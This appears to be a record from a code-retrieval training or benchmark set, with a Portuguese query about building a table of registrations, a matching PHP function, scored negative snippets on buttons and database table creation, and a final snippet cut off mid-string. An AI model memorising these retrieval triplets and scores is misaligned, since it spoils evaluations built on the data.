type=\"dojo/method\" event=\"onMouseLeave\" args=\"evt\">\r\n dijit.byId('listFilterFilter').closeDropDown();\r\n </script>\r\n <?php \r\n }?>\r\n </div> \r\n </button>\r\n <?php if ($planningType=='version') {?></div><?php }?>\r\n </td>\r\n <?php \r\n }?> \r\n <td colspan=\"1\">\r\n <?php // ================================================================= COLUMNS SELECTOR ?> \r\n <div dojoType=\"dijit.form.DropDownButton\"\r\n id=\"planningColumnSelector\" jsId=\"planningColumnSelector\" name=\"planningColumnSelector\" \r\n showlabel=\"false\" class=\"comboButton\" iconClass=\"dijitButtonIcon dijitButtonIconColumn\" \r\n title=\"<?php echo i18n('columnSelector');?>\">\r\n <span>title</span>\r\n <?php \r\n $screenHeight=getSessionValue('screenHeight','1080');\r\n $columnSelectHeight=intval($screenHeight*0.6);?>\r\n <div dojoType=\"dijit.TooltipDialog\" id=\"planningColumnSelectorDialog\" class=\"white\" style=\"width:300px;\"> \r\n <script type=\"dojo/connect\" event=\"onHide\" data-dojo-args=\"evt\">\r\n if (dndMoveInProgress) { setTimeout('dijit.byId(\"planningColumnSelector\").openDropDown();',1); }\r\n </script>\r\n <div id=\"dndPlanningColumnSelector\" jsId=\"dndPlanningColumnSelector\" dojotype=\"dojo.dnd.Source\" \r\n dndType=\"column\" style=\"overflow-y:auto; max-height:<?php echo $columnSelectHeight;?>px; position:relative\"\r\n withhandles=\"true\" class=\"container\"> \r\n <?php \r\n if ($planningType=='portfolio') $portfolioPlanning=true;\r\n if ($planningType=='contract') $contractGantt=true;\r\n if ($planningType=='version') $versionPlanning=true;\r\n include('../tool/planningColumnSelector.php');?>\r\n </div>\r\n <div style=\"height:5px;\"></div> \r\n <div style=\"text-align: center;\"> \r\n <button title=\"\" dojoType=\"dijit.form.Button\" \r\n id=\"\" name=\"\" showLabel=\"true\"><?php echo i18n('buttonOK');?>\r\n <script type=\"dojo/connect\" event=\"onClick\" args=\"evt\">\r\n validatePlanningColumn();\r\n </script>\r\n </button>\r\n </div> \r\n </div>\r\n </div>\r\n </td>\r\n </tr>\r\n </table>\r\n<?php \r\n}", "function botaoAlterar($indiceCadastro){\n echo \"\n <form method='post'>\n <button type='submit' class='btn btn-outline-warning btn-sm' name='botaoAlterar' value='$indiceCadastro'><i class='material-icons'>create</i></button>\n </form>\";//o botão vai receber o valor do indice correspondente a sua linha na tabela de cadastros\n }", "function initialize () {\n $this->set_openingtag ( \"<INPUT TYPE=\\\"button\\\" value=\\\"\" );\n\t$this->set_closingtag ( \"\\\"[attributes]>\" );\n\t$this->set_type (\"button\");\n }", "protected function getFormButtons() : array\n {\n $result = parent::getFormButtons();\n\n $result['submit'] = new Submit(\n [\n AButton::PARAM_LABEL => 'Sign up',\n AButton::PARAM_BTN_TYPE => 'btn regular-main-button submit',\n ]\n );\n\n return $result;\n }", "public function _createCommands($btn,$rowPos)\n\t{\n\t\t$this->_setTemplateDefButtons(_html\\HtmlButton::_ACTION_ADD);\n\t\t$this->_setTemplateDefButtons(_html\\HtmlButton::_ACTION_UPDATE);\n\t\t$this->_setTemplateDefButtons(_html\\HtmlButton::_ACTION_DELETE);\n\t\t$this->_setTemplateDefButtons(_html\\HtmlButton::_ACTION_DELETE_MULTI_2);\n\t\t$this->_setTemplateDefButtons(_html\\HtmlButton::_ACTION_CLOSE);\n\t}", "static function createButton($input, $name) {\n include $_SERVER[\"DOCUMENT_ROOT\"] . \"/mvdv/core/view/templates/general/form/formelements/button.php\";\n }" ]
[ "0.6726638", "0.6672699", "0.6364414", "0.6335001", "0.6268551", "0.61478263", "0.6110396", "0.6032276", "0.6020572", "0.6020431", "0.5988755", "0.59749895", "0.5925516", "0.590765", "0.5894619", "0.5894619", "0.5894619", "0.5894619", "0.5894619", "0.58930665", "0.58930665", "0.58930665", "0.58930665", "0.589292", "0.589292", "0.589292", "0.589292", "0.589292", "0.589292", "0.589292", "0.589292", "0.58354396", "0.58348614", "0.58348614", "0.58348614", "0.5810272", "0.58086264", "0.5788738", "0.568309", "0.5672529", "0.5664747", "0.56600416", "0.5659394", "0.557995", "0.5578645", "0.5577565", "0.55711305", "0.55461425", "0.554409", "0.5539583", "0.55347425", "0.55266976", "0.5526221", "0.5525774", "0.5515905", "0.551515", "0.55147505", "0.55021256", "0.5478372", "0.5476359", "0.54748887", "0.5460668", "0.54519546", "0.5428605", "0.5419434", "0.5415543", "0.541017", "0.5409581", "0.54041433", "0.5401912", "0.53951055", "0.53815264", "0.5375581", "0.53608924", "0.5357772", "0.53385717", "0.5334508", "0.5331721", "0.5331298", "0.532261", "0.53213423", "0.53188694", "0.53170884", "0.53164023", "0.5308602", "0.52944773", "0.52894944", "0.5289182", "0.5271624", "0.5265347", "0.5263404", "0.526045", "0.52603674", "0.525183", "0.52443266", "0.5242583", "0.52254117", "0.5222214", "0.5211408", "0.51992285" ]
0.5774964
38
Cria tabela com todos os cadastros
function tabela($vetorComcadastros, $vetorComIndices){//Função que cria a tabela/lista recebe o vetor cos os cadsastros e outro com os indices retornaEscolhidos($vetorComcadastros, $vetorComIndices);//escreve a tabela }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function crearTablas(){\r\n\t\t\t$this->crearTablaUsuario();\r\n\t\t\t$this->crearTablaDeporte();\r\n\t\t\t$this->crearTablaUsuarioDeporte();\r\n\t\t\t$this->crearTablaPassw();\r\n\t\t}", "private function createTables() {\n \n foreach($this->G->tableInfo as $table) {\n $this->tables[$table[\"title\"]] = new IdaTable($table[\"title\"]);\n } \n }", "public static function create_tables() {\n Site::create_table();\n Membership_Area::create_table();\n Restricted_Content::create_table();\n User::create_table();\n }", "private function createTables()\n {\n $this->createConfigsTable();\n $this->createServersTable();\n $this->createSearchesTable();\n }", "public function createTables () {\n $this->usersDB->createTables();\n $this->categoriesDB->createTables();\n $this->itemsDB->createTables();\n }", "private function create_tables()\n {\n global $wpdb;\n\n /* http://wiip.fr/content/choisir-le-type-de-colonne-de-ses-tables-mysql */\n $sql = '\n CREATE TABLE IF NOT EXISTS '.$this->tables['users'].'(\n id int(11) NOT NULL auto_increment,\n PRIMARY KEY (id),\n nom VARCHAR(255) NOT NULL,\n prenom VARCHAR(255) NOT NULL,\n email VARCHAR(320) NOT NULL,\n password VARCHAR(500) NOT NULL,\n adresse CHAR(255),\n codepostal CHAR(10),\n ville CHAR(60),\n pays CHAR(60),\n telephone_professionnel CHAR(20),\n dateinscription CHAR(20) NOT NULL,\n statut VARCHAR(15),\n evenement VARCHAR(255),\n date_evenement DATE,\n specialite VARCHAR(100),\n categorie VARCHAR(20),\n isUpdate VARCHAR(10),\n organisme_facturation CHAR(100),\n email_facturation CHAR(255),\n adresse_facturation CHAR(255),\n ville_facturation CHAR(60),\n codepostal_facturation CHAR(10),\n pays_facturation CHAR(50),\n contacts TEXT\n \n\n )';\n\n dbDelta($sql);\n\n $sql = '\n CREATE TABLE IF NOT EXISTS '.$this->tables['users_file'].'(\n id int(11) NOT NULL auto_increment,\n PRIMARY KEY (id),\n email VARCHAR(320) NOT NULL,\n fichier VARCHAR(500) NOT NULL,\n chemin VARCHAR(500) NOT NULL,\n date_enregistrement VARCHAR(500) NOT NULL,\n type_doc VARCHAR(100) NOT NULL\n \n )';\n\n dbDelta($sql);\n }", "public function limparTabela(){\r\n\t\t$sql = 'DELETE FROM oficina';\r\n\t\t$consulta = $conexao->prepare($sql);\r\n\t\t$consulta->execute();\r\n\t}", "function createDBTables() {\n $installer = new TrelloInstaller();\n return $installer->install();\n }", "public function __construct(){\n \n $this->create_tables();\n \n }", "function crearTablas(){\n $cnn = new conexion();\n $con = $cnn->conectar();\n mysqli_select_db($con,\"TecLogin\");\n $sql = \"CREATE TABLE usuarios (\n id INT(11) NOT NULL AUTO_INCREMENT,\n usuario CHAR(50),\n contrasena CHAR(50),\n PRIMARY KEY(id)\n )\";\n if(mysqli_query($con,$sql)){\n echo \"Tabla Creada\";\n }\n mysqli_close($con);\n}", "private function prepareTables() {}", "protected function createTable() {\n $this->db->initializeQuery();\n $query = \"\nCREATE TABLE `items` (\n`id`INTEGER,\n`name`TEXT,\n`price`REAL,\nPRIMARY KEY(`id`)\n);\n\";\n\n $r = $this->db->q->Expr($query)->execute($this->db->c);\n \n }", "function createTables()\n {\n $sqls = $this->simplexmlObject->xpath(\"//table\");\n foreach($sqls as $sql) {\n try {\n $db = $this->getConnection();\n $db->exec($sql);\n $tablename = $sql->getName();\n print(\"Created $tablename table.\\n\");\n $this->closeConnection($db, $sql);\n } catch (PDOException $e) {\n echo $e->getMessage();\n }\n }\n \n }", "private function createDummyTable() {}", "private function tbl_estados() {\r\n\t\t\t$this->estados = $this->esquema->createTable('ESTADOS');\r\n\t\t\t$this->estados->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Estado'\r\n\t\t\t));\r\n\t\t\t$this->estados->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre del Estado'\r\n\t\t\t));\r\n\t\t\t$this->estados->setPrimaryKey(array('ID'));\r\n\t\t}", "public function createTable()\n\t{\n\t\t$app = Factory::getApplication();\n\n\t\tif ($app->isSite())\n\t\t{\n\t\t\techo 'Error creating DB table - Need to run this in admin area';\n\n\t\t\treturn;\n\t\t}\n\n\t\t$user = Factory::getUser();\n\n\t\tif (!$user->authorise('core.admin'))\n\t\t{\n\t\t\techo 'Error creating DB table - You need to be superadmin user to exeacute this task';\n\n\t\t\treturn;\n\t\t}\n\n\t\t$jinput = $app->input;\n\t\t$context = $jinput->get->get('context', '', 'cmd');\n\n\t\tif (empty($context))\n\t\t{\n\t\t\techo 'Error creating DB table - No context is passed';\n\n\t\t\treturn;\n\t\t}\n\n\t\t$model = $this->getModel('indexer');\n\t\t$model->createTable($context);\n\t}", "protected function createTable() {\n\t\t$query = \"\n\t\tCREATE TABLE `items` (\n\t\t\t`id`\tINTEGER,\n\t\t\t`firstName`\tTEXT,\n\t\t\t`lastName`\tTEXT,\n\t\t\t`address`\tTEXT,\n\t\t\t'occupation' TEXT,\n\t\t\tPRIMARY KEY(`id`)\n\t\t);\n\t\t\";\n\t\t$this->PDO->query($query);\n\t}", "private function _agregarComponenteTabuladores() {\n $componente_carga = new Acciones_ComponenteAltaInsercion();\n\n $this->_id_componente = $componente_carga->crearComponente($_POST['id_tb_rel'], 'PaginaTabuladores', '');\n\n // crear componente y obtener id de insercion\n $componente_carga->consultaParametro($this->_id_componente, 'id_tabla', $_GET['id_tabla']);\n $componente_carga->consultaParametro($this->_id_componente, 'intermedia_tb_id', $_GET['intermedia_tb_id']);\n $componente_carga->consultaParametro($this->_id_componente, 'id_tabla_trd', $_GET['id_tabla_trd']);\n if (isset($_POST['id_cp_rel']) && ($_POST['id_cp_rel'] != '')) {\n $componente_carga->consultaParametro($this->_id_componente, 'id_cp_rel', $_POST['id_cp_rel']);\n }\n $componente_carga->consultaParametro($this->_id_componente, 'tabla_relacionada', $_POST['id_tb_rel']);\n }", "protected function _initsTable() {}", "public static function createTables()\n\t{\n\t\treturn (self::createContentTable());\n\t}", "abstract public function createTable();", "protected function createTables()\n {\n $this->table = new SwooleTable;\n\n $tables = $this->container['config']->get('swoole_http.tables', []);\n foreach ($tables as $key => $value) {\n $table = new Table($value['size']);\n $columns = $value['columns'] ?? [];\n foreach ($columns as $column) {\n if (isset($column['size'])) {\n $table->column($column['name'], $column['type'], $column['size']);\n } else {\n $table->column($column['name'], $column['type']);\n }\n }\n $table->create();\n\n $this->table->add($key, $table);\n }\n }", "function getTablas() {\r\n $tablas['inventario_equipo']['id']='inventario_equipo';\r\n $tablas['inventario_equipo']['nombre']='Inventario (equipo)';\r\n\r\n $tablas['inventario_grupo']['id']='inventario_grupo';\r\n $tablas['inventario_grupo']['nombre']='Inventario (grupo)';\r\n\r\n $tablas['inventario_estado']['id']='inventario_estado';\r\n $tablas['inventario_estado']['nombre']='Inventario (estado)';\r\n\r\n $tablas['inventario_marca']['id']='inventario_marca';\r\n $tablas['inventario_marca']['nombre']='Inventario (marca)';\r\n\r\n $tablas['obligacion_clausula']['id']='obligacion_clausula';\r\n $tablas['obligacion_clausula']['nombre']='Obligacion (clausula)';\r\n\r\n $tablas['obligacion_componente']['id']='obligacion_componente';\r\n $tablas['obligacion_componente']['nombre']='Obligacion (componente)';\r\n\r\n $tablas['documento_tipo']['id']='documento_tipo';\r\n $tablas['documento_tipo']['nombre']='Documento (Tipo)';\r\n\r\n \t\t$tablas['documento_tema']['id']='documento_tema';\r\n \t\t$tablas['documento_tema']['nombre']='Documento (Tema)';\r\n\r\n \t\t$tablas['documento_subtema']['id']='documento_subtema';\r\n \t\t$tablas['documento_subtema']['nombre']='Documento (Subtema)';\r\n\r\n \t\t$tablas['documento_estado']['id']='documento_estado';\r\n \t\t$tablas['documento_estado']['nombre']='Documento (Estado)';\r\n\r\n \t\t$tablas['documento_estado_respuesta']['id']='documento_estado_respuesta';\r\n \t\t$tablas['documento_estado_respuesta']['nombre']='Documento (Estado Respuesta)';\r\n\r\n \t\t$tablas['documento_actor']['id']='documento_actor';\r\n \t\t$tablas['documento_actor']['nombre']='Documento (Responsables)';\r\n\r\n \t\t$tablas['documento_tipo_actor']['id']='documento_tipo_actor';\r\n \t\t$tablas['documento_tipo_actor']['nombre']='Documento (Tipo de Responsable)';\r\n\r\n \t\t$tablas['riesgo_probabilidad']['id']='riesgo_probabilidad';\r\n \t\t$tablas['riesgo_probabilidad']['nombre']='Riesgo (Probabilidad)';\r\n\r\n \t\t$tablas['riesgo_categoria']['id']='riesgo_categoria';\r\n \t\t$tablas['riesgo_categoria']['nombre']='Riesgo (Categoria)';\r\n\r\n \t\t$tablas['riesgo_impacto']['id']='riesgo_impacto';\r\n \t\t$tablas['riesgo_impacto']['nombre']='Riesgo (Impacto)';\r\n\r\n \t\t$tablas['compromiso_estado']['id']='compromiso_estado';\r\n \t\t$tablas['compromiso_estado']['nombre']='Compromisos (Estado)';\r\n\r\n \t\t$tablas['departamento']['id']='departamento';\r\n \t\t$tablas['departamento']['nombre']='Departamentos';\r\n\r\n \t\t$tablas['departamento_region']['id']='departamento_region';\r\n \t\t$tablas['departamento_region']['nombre']='Departamentos (Region)';\r\n\r\n \t\t$tablas['municipio']['id']='municipio';\r\n \t\t$tablas['municipio']['nombre']='Municipios';\r\n\r\n $tablas['operador']['id']='operador';\r\n\t $tablas['operador']['nombre']='Operador';\r\n\r\n asort($tablas);\r\n return $tablas;\r\n }", "private function _createTables()\r\n {\r\n return true;\r\n }", "public function createTable(){\nreturn $this->pdo->exec(\n\"CREATE TABLE `sottocategoria` (\n `id` int(11) NOT NULL AUTO_INCREMENT,\n `codice_categoria` varchar(3) NOT NULL,\n `codice` varchar(3) NOT NULL,\n `descrizione` varchar(80) DEFAULT NULL,\n PRIMARY KEY (`id`),\n KEY `index_codice_cat` (`codice_categoria`),\n KEY `index_codice` (`codice`),\n CONSTRAINT `fk_categoriasottocategoria_1` FOREIGN KEY (`codice_categoria`) REFERENCES `categoria` (`codice`) ON DELETE NO ACTION ON UPDATE NO ACTION\n) ENGINE=InnoDB DEFAULT CHARSET=latin1\"\n);\n}", "public function initTable(){\n\t\t\t\n\t\t}", "static function create_tables(){\n\t\t$tables = self::get_tables_name();\n\t\textract($tables);\n\t\t\n\t\t$sql[] = \"CREATE TABLE IF NOT EXISTS $cookie(\n\t\t\t\tID bigint unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,\n\t\t\t\tcontent text(100) NOT NULL,\n\t\t\t\ttype varchar(30) NOT NULL,\n\t\t\t\tcamp_id bigint unsigned NOT NULL,\n\t\t\t\taction varchar(30) NOT NULL\t \t\t\t\n\t\t\t)\";\n\t\t\n\t\t$sql[] = \"CREATE TABLE IF NOT EXISTS $display(\n\t\t\t\tID bigint unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,\n\t\t\t\tcontent text(100) NOT NULL,\n\t\t\t\ttype varchar(30) NOT NULL,\n\t\t\t\tcamp_id bigint unsigned NOT NULL\t\t\t\t \t\t\t\n\t\t\t)\";\n\t\t\n\t\tif(!function_exists('dbDelta')) :\n\t\t\tinclude ABSPATH . 'wp-admin/includes/upgrade.php';\n\t\tendif;\n\t\tforeach($sql as $s){\n\t\t\tdbDelta($s);\n\t\t}\n\t\t\n\t}", "public function create()\n {\n parent::create();\n\n $sheet = $this->add_sheet();\n\n $this->add_table($sheet, $this->database, $this->generate_table());\n }", "function creaTablaPartidos(){\r\n // Create connection\r\n $conn = dameConexion();//new mysqli($servername, $username, $password, $dbname);\r\n // Check connection\r\n if ($conn->connect_error) {\r\n die(\"Conexión fallida: \" . $conn->connect_error);\r\n }\r\n \r\n // sql to create table carta (Nombre, Coleccion, Imagen, fecha, entrada)\r\n $sql = \"CREATE TABLE partidos (\r\n id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\r\n Local VARCHAR(15) NOT NULL,\r\n Visitante VARCHAR(15),\r\n Resultado VARCHAR(5),\r\n Entrada INT(6)\r\n )\";\r\n \r\n if ($conn->query($sql) === TRUE) {\r\n echo \"Tabla creada correctamente\";\r\n } else {\r\n \r\n //echo \"Error creando la tabla: \" . $conn->error;\r\n }\r\n \r\n $conn->close();\r\n}", "public function create(){\n $alter = '';\n $crear = '';\n $creartablas = '';\n\n $a = '';\n if(!empty($_POST)){\n if( isset($_POST['creartabla']) )\n $a = $_POST['creartabla'];\n }\n if($a!=''):\n $array = explode(',', $a);\n $crear = '';\n $tablas = array();\n foreach ($array as $v): \n $v = trim($v);\n $inic = $crear;\n if( stristr($v, 'id_') ){ \n $tabla = str_replace('id_', '', $v);\n $crear.= 'CREATE TABLE IF NOT EXISTS '.$tabla.' ( ';\n $crear.= ' id_'.$tabla.' INTEGER(10) PRIMARY KEY AUTO_INCREMENT ';\n }\n if( stristr( $v, '_id') ){\n $tablas[] = str_replace('_id', '', $v);\n $crear.= ','.$v.' INTEGER(10)'; \n } \n\n if( stristr($v, 'fecha' )or stristr($v, 'fecha') ) $crear.= ','.$v.' DATE NOT NULL '; \n if( stristr($v, '_nro' ) or stristr($v, 'nro_' ) ) $crear.= ','.$v.' INTEGER(10) NOT NULL '; \n if( stristr($v, 'text' ) or stristr($v, 'texto' ) ) $crear.= ','.$v.' TEXT NOT NULL COMMENT \\'col:12\\' '; \n if( stristr($v, 'timestamp' ) ) $crear.= ','.$v.' TIMESTAMP DEFAULT CURRENT_TIMESTAMP '; \n if($inic==$crear) $crear.= ','.$v.' VARCHAR(255) NOT NULL '; \n \n \n endforeach;\n\n $fk = '';\n $creartablas ='';\n foreach ($tablas as $value):\n $fk.=', FOREIGN KEY('.$value.'_id) REFERENCES '.$value.'(id_'.$value.') '; \n $creartablas.= 'CREATE TABLE IF NOT EXISTS '.$value.' ( ';\n $creartablas.= ' id_'.$value.' INTEGER(10) PRIMARY KEY AUTO_INCREMENT ';\n $creartablas.= ', name_'.$value.' VARCHAR(99) NOT NULL';\n $creartablas.= ', detail_'.$value.' VARCHAR(99) NOT NULL ';\n $creartablas.= ') ENGINE = InnoDB; ';\n endforeach;\n $crear .= $fk.') ENGINE = InnoDB;';\n\n $a = $creartablas.$crear;\n $b = explode(';', $a);\n $re = 'INICIO DE PETICION<BR>#####################';\n $this->db->trans_start();\n foreach ($b as $value) {\n if($value!='')\n $this->db->query($value);\n $re.= \"<BR>Peticion: \".$value.'';\n }\n $this->db->trans_complete();\n $re.= '#####################<br>Fin de las peticiones';\n $tables = $this -> Tables_model -> table_name();\n $this->session->set_userdata('tables', $tables);\n return $re;\n endif;\n }", "private function tbl_usuarios_cargo() {\r\n\t\t\t$this->usuarios_cargo = $this->esquema->createTable('USUARIOS_CARGO');\r\n\t\t\t$this->usuarios_cargo->addColumn('ID', 'bigint', array(\r\n\t\t\t\t'notnull' => true,\r\n\t\t\t\t'autoincrement' => true, \r\n\t\t\t\t'length' => 20,\r\n\t\t\t\t'comment' => 'ID del Cargo'\r\n\t\t\t));\r\n\t\t\t$this->usuarios_cargo->addColumn('NOMBRE', 'string', array(\r\n\t\t\t\t'notnull' => true, \r\n\t\t\t\t'length' => 255,\r\n\t\t\t\t'comment' => 'Nombre del Cargo'\r\n\t\t\t));\r\n\t\t\t$this->usuarios_cargo->setPrimaryKey(array('ID'));\r\n\t\t}", "public function setUpDatabaseTables()\n {\n $table = new DModuleTable();\n $table -> setName(\"currencies\");\n $table -> addBigIncrements( \"id\" , true );\n $table -> addString( \"base\" , true);\n $table -> addLongText( 'rates' , true);\n $table -> addDateTime( 'added' , true );\n $table -> addBoolean( 'status' , true);\n $table -> addString( \"extra\" , false);\n $table -> addString( \"extra2\" , false);\n $this -> addTable( $table );\n }", "function init_tables(){\n $db = new PDO('sqlite:history.pyramid.sqlite');\n $db->exec(\"PRAGMA foreign_keys = ON\");\n $db->exec(\"drop table if exists areas\");\n $db->exec(\"drop table if exists codigos\");\n $db->exec(\"drop table if exists outs\");\n $db->exec(\"CREATE TABLE Areas (\n Id INTEGER PRIMARY KEY,\n out_date DATETIME DEFAULT CURRENT_TIMESTAMP,\n name TEXT,\n target INTEGER);\");\n $db->exec(\"CREATE TABLE codigos (\n Id INTEGER PRIMARY KEY,\n out_date DATETIME DEFAULT CURRENT_TIMESTAMP,\n name TEXT,\n target INTEGER);\");\n $db->exec(\"CREATE TABLE outs (\n Id INTEGER PRIMARY KEY,\n out_date DATETIME DEFAULT CURRENT_TIMESTAMP,\n name TEXT,\n target INTEGER);\");\n}", "private function _createContentTable()\n\t{\n\t\tCraft::log('Creating the content table.');\n\n\t\tcraft()->db->createCommand()->createTable('content', array(\n\t\t\t'elementId' => array('column' => ColumnType::Int, 'null' => false),\n\t\t\t'locale' => array('column' => ColumnType::Locale, 'null' => false),\n\t\t\t'title' => array('column' => ColumnType::Varchar),\n\t\t));\n\t\tcraft()->db->createCommand()->createIndex('content', 'elementId,locale', true);\n\t\tcraft()->db->createCommand()->createIndex('content', 'title');\n\t\tcraft()->db->createCommand()->addForeignKey('content', 'elementId', 'elements', 'id', 'CASCADE', null);\n\t\tcraft()->db->createCommand()->addForeignKey('content', 'locale', 'locales', 'locale', 'CASCADE', 'CASCADE');\n\n\t\tCraft::log('Finished creating the content table.');\n\t}", "public function createTables()\r\n {\r\n $sql = \"\r\n CREATE TABLE IF NOT EXISTS coins\r\n (\r\n id INT NOT NULL AUTO_INCREMENT,\r\n playername VARCHAR(32) NOT NULL,\r\n coins INT NOT NULL,\r\n ip VARCHAR(32) NOT NULL,\r\n cid VARCHAR(64) NOT NULL,\r\n PRIMARY KEY (id)\r\n );\r\n \";\r\n self::update($sql);\r\n }", "public function crear() {\n /**\n * guardamos la consulta en $sql\n * ejecutamos la consulta en php \n * asignamos el id del objeto = al ultimo id que añadimos a la bd, asi coincidiran el id objeto con tupla\n * lista de atributos a introducir valores de atributos a introducir\n * formato insertar datos INSERT INTO NombreTabla (NombreAtributo1, NombreAtributo2) VALUES (ValorAtributo1, ValorAtributo2)\n */\n // para acceder a una cosntante de la clase NombreClase::NOMBRECONSTANTE\n \n try {\n $sql=\"INSERT INTO \".Bebidas::TABLA[0].\" (nombre, descripcion, tipo, estado, foto) VALUES ('$this->nombre', '$this->descripcion', '$this->tipo', '$this->estado', '$this->foto')\";\n $this->conexion->query($sql);\n $this->__set(\"id_bebida\", $this->conexion->insert_id);\n } catch (Exception $ex) {\n echo 'error '.$ex;\n }\n \n }", "public function run()\n {\n GenerouTable::truncate();\n\n GenerouTable::create([\n 'description'=>'Livro de ação'\n ]);\n }", "public function createTables(){\n $commands = [\n 'CREATE TABLE IF NOT EXISTS posts (\n post_id TEXT PRIMARY KEY,\n post_title TEXT,\n post_subreddit TEXT,\n post_content TEXT,\n post_html TEXT,\n post_link TEXT,\n post_media TEXT,\n post_is_video TEXT,\n post_video_height INTEGER,\n post_video_width INTEGER\n )',\n 'CREATE TABLE IF NOT EXISTS tags (\n tag_id INTEGER PRIMARY KEY,\n tag_name TEXT NOT NULL\n )',\n 'CREATE TABLE IF NOT EXISTS postTags (\n tag_id INTEGER NOT NULL,\n post_id TEXT NOT NULL,\n \t\t\t\t\t\tPRIMARY KEY (tag_id,post_id)\n FOREIGN KEY (post_id)\n REFERENCES posts(post_id) \n ON UPDATE CASCADE\n ON DELETE CASCADE,\n \t\t\t\t\t\tFOREIGN KEY (post_id)\n REFERENCES posts(post_id) \n ON UPDATE CASCADE\n ON DELETE CASCADE)'];\n // execute the sql commands to create new tables\n foreach ($commands as $command) {\n try{\n $this->pdo->exec($command);\n }catch (\\PDOException $e) {\n echo $e;\n }\n }\n }", "function create_tables($pdo){\n $pdo->exec(SQL_CREATE_FILM_TABLE);\n $pdo->exec(SQL_CREATE_ORDER_CHECK_TABLE);\n $pdo->exec(SQL_CREATE_CARRIER_TABLE);\n $pdo->exec(SQL_CREATE_FILM_CARIER_TABLE);\n $pdo->exec(SQL_CREATE_GANRE_TABLE);\n\n $pdo->exec(SQL_CREATE_FILM_GANRE_TABLE);\n\n $pdo->exec(SQL_CREATE_DIRECTOR_TABLE);\n $pdo->exec(SQL_CREATE_FILM_DIRECTOR_TABLE);\n $pdo->exec(SQL_CREATE_ACTOR_TABLE);\n $pdo->exec(SQL_CREATE_FILM_ACTOR_TABLE);\n}", "private function createTables()\n {\n $query = array();\n\n // creating games table\n $query[] = \"\n CREATE TABLE IF NOT EXISTS games (\n id INTEGER PRIMARY KEY,\n player1_hash TEXT,\n player1_name TEXT,\n player1_ships TEXT,\n player2_hash TEXT,\n player2_name TEXT,\n player2_ships TEXT,\n timestamp NUMERIC\n )\n \";\n\n // creating events table\n $query[] = \"\n CREATE TABLE IF NOT EXISTS events (\n id INTEGER PRIMARY KEY,\n game_id INTEGER,\n player INTEGER,\n event_type TEXT,\n event_value TEXT,\n timestamp NUMERIC\n )\n \";\n\n foreach ($query as $value) {\n $this->oDB->query($value);\n }\n }", "function createTable(){\n \n $conn = $this->connect();\n \n $sql = 'CREATE TABLE IF NOT EXISTS ' . $this->dbtable . \n\t\t\t\t\t'( codigo INTEGER NOT NULL AUTO_INCREMENT, email VARCHAR(100), CONSTRAINT pk_' . $this->dbtable . \n\t\t\t\t\t' PRIMARY KEY (codigo)) ENGINE=INNODB CHARSET=utf8';\n $ret = mysql_query( $sql, $conn);\n mysql_close( $conn );\n\t\t\treturn $ret;\n }", "function __construct() \n {\n // Creation de la table\n self::createTableIfNeeded();\n }", "public function newTable($items);", "function generar()\r\n\t{\r\n\t\tforeach($this->columnas as $ef) {\r\n\t\t \t$this->datos->tabla('columnas')->nueva_fila($ef->get_datos());\r\n\t\t}\r\n\t\tparent::generar();\r\n\t}", "function insertarTabla(){\n\t\t$this->procedimiento='wf.ft_tabla_ime';\n\t\t$this->transaccion='WF_tabla_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_tipo_proceso','id_tipo_proceso','int4');\n\t\t$this->setParametro('vista_id_tabla_maestro','vista_id_tabla_maestro','int4');\n\t\t$this->setParametro('bd_scripts_extras','bd_scripts_extras','text');\n\t\t$this->setParametro('vista_campo_maestro','vista_campo_maestro','varchar');\n\t\t$this->setParametro('vista_scripts_extras','vista_scripts_extras','text');\n\t\t$this->setParametro('bd_descripcion','bd_descripcion','text');\n\t\t$this->setParametro('vista_tipo','vista_tipo','varchar');\n\t\t$this->setParametro('menu_icono','menu_icono','varchar');\n\t\t$this->setParametro('menu_nombre','menu_nombre','varchar');\n\t\t$this->setParametro('vista_campo_ordenacion','vista_campo_ordenacion','varchar');\n\t\t$this->setParametro('vista_posicion','vista_posicion','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('menu_codigo','menu_codigo','varchar');\n\t\t$this->setParametro('bd_nombre_tabla','bd_nombre_tabla','varchar');\n\t\t$this->setParametro('bd_codigo_tabla','bd_codigo_tabla','varchar');\n\t\t$this->setParametro('vista_dir_ordenacion','vista_dir_ordenacion','varchar');\n\t\t$this->setParametro('vista_estados_new','vista_estados_new','varchar');\n\t\t$this->setParametro('vista_estados_delete','vista_estados_delete','varchar');\t\t\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function initTable()\n\t{\n\t\t$this->db->exec(\"\n\t\t\tCREATE TABLE `cache` (\n\t\t\t `id` varbinary(255) NOT NULL,\n\t\t\t `data` longblob NOT NULL,\n\t\t\t `date_expire` datetime DEFAULT NULL,\n\t\t\t INDEX date_expire_idx (date_expire),\n\t\t\t PRIMARY KEY (`id`)\n\t\t\t) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n\t\t\");\n\t}", "protected function createTables()\n {\n $sql = $this->create_table;\n $this->connection->query($sql);\n\n // create again in schema 2\n $sql = str_replace($this->table, \"{$this->schema2}.{$this->table}\", $sql);\n $this->connection->query($sql);\n }", "protected function createTables() {\n $foreignKeys = array();\n $this->sortTableQueue($this->_tableCreateQueue, $foreignKeys);\n foreach($this->_tableCreateQueue as $table => $fields) {\n $this->createTable($table, $fields);\n }\n foreach($foreignKeys as $table => $columns) {\n $this->useTable($table);\n foreach($columns as $column => $module) {\n $this->useColumn($column.\"_id\");\n $this->toForeignKey($module.\"_\".$column);\n }\n }\n $this->_tableCreateQueue = array();\n }", "private function createTables()\n {\n $categoryTable = 'CREATE TABLE IF NOT EXISTS categories(\n category_id INT AUTO_INCREMENT,\n category_name 